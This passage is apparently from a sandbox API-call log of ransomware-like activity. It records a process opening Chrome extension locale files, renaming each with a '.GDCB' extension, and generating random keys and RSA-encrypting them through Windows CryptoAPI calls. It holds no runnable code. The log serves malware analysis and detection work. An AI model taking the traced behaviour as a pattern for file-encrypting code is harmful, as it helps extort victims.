data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0270.790] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0270.792] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0270.794] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xbb, lpOverlapped=0x0) returned 1 [0270.803] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0270.810] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\id\\messages.json.gdcb")) returned 1 [0270.815] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0270.818] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.820] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.820] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0270.820] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.820] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0270.822] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.824] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.824] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0270.824] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0270.825] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0270.827] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67989a0) returned 1 [0270.827] CryptGetKeyParam (in: hKey=0x67989a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.827] CryptEncrypt (in: hKey=0x67989a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0270.827] GetLastError () returned 0x0 [0270.827] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.827] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0270.829] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6799020) returned 1 [0270.829] CryptGetKeyParam (in: hKey=0x6799020, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.829] CryptEncrypt (in: hKey=0x6799020, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0270.829] GetLastError () returned 0x0 [0270.829] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0270.829] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0270.830] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0270.833] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0270.835] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb2, lpOverlapped=0x0) returned 1 [0270.843] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0270.849] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\is\\messages.json.gdcb")) returned 1 [0270.854] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0270.857] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.859] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.860] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0270.860] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0270.860] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0270.863] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.865] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.865] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0270.865] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.865] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0270.868] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798920) returned 1 [0270.868] CryptGetKeyParam (in: hKey=0x6798920, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.868] CryptEncrypt (in: hKey=0x6798920, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0270.868] GetLastError () returned 0x0 [0270.868] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.868] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0270.870] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798d60) returned 1 [0270.870] CryptGetKeyParam (in: hKey=0x6798d60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.870] CryptEncrypt (in: hKey=0x6798d60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0270.870] GetLastError () returned 0x0 [0270.870] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0270.870] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0270.871] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0270.874] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0270.876] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xb6, lpOverlapped=0x0) returned 1 [0270.885] VirtualAlloc (lpAddress=0x0, dwSize=0xc0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0270.891] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\it\\messages.json.gdcb")) returned 1 [0270.896] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0270.898] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.900] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.900] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0270.900] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0270.900] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0270.903] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.905] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.905] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0270.905] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.905] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0270.907] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798fe0) returned 1 [0270.907] CryptGetKeyParam (in: hKey=0x6798fe0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.907] CryptEncrypt (in: hKey=0x6798fe0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0270.908] GetLastError () returned 0x0 [0270.908] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0270.908] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0270.909] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x67989e0) returned 1 [0270.909] CryptGetKeyParam (in: hKey=0x67989e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.909] CryptEncrypt (in: hKey=0x67989e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0270.910] GetLastError () returned 0x0 [0270.910] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0270.910] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0270.911] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0270.913] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0270.916] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0x16a, lpOverlapped=0x0) returned 1 [0270.924] VirtualAlloc (lpAddress=0x0, dwSize=0x170, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0270.930] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\iw\\messages.json.gdcb")) returned 1 [0270.935] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0270.938] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.941] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.941] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0270.941] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.941] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0270.943] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.945] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.945] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0270.945] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0270.945] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0270.948] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798ba0) returned 1 [0270.948] CryptGetKeyParam (in: hKey=0x6798ba0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.948] CryptEncrypt (in: hKey=0x6798ba0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0270.948] GetLastError () returned 0x0 [0270.948] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0270.948] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0270.950] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798e20) returned 1 [0270.950] CryptGetKeyParam (in: hKey=0x6798e20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.950] CryptEncrypt (in: hKey=0x6798e20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0270.950] GetLastError () returned 0x0 [0270.950] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0270.950] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0270.951] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0270.954] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0270.956] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xfb, lpOverlapped=0x0) returned 1 [0270.964] VirtualAlloc (lpAddress=0x0, dwSize=0x100, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0270.972] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ja\\messages.json.gdcb")) returned 1 [0270.977] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0270.979] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.981] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.981] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0270.981] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.981] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0270.984] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0270.986] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0270.986] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0270.986] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0270.987] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0270.989] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798a20) returned 1 [0270.989] CryptGetKeyParam (in: hKey=0x6798a20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.989] CryptEncrypt (in: hKey=0x6798a20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0270.989] GetLastError () returned 0x0 [0270.989] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0270.989] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0270.991] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6798a60) returned 1 [0270.991] CryptGetKeyParam (in: hKey=0x6798a60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0270.991] CryptEncrypt (in: hKey=0x6798a60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0270.991] GetLastError () returned 0x0 [0270.991] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0270.991] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User 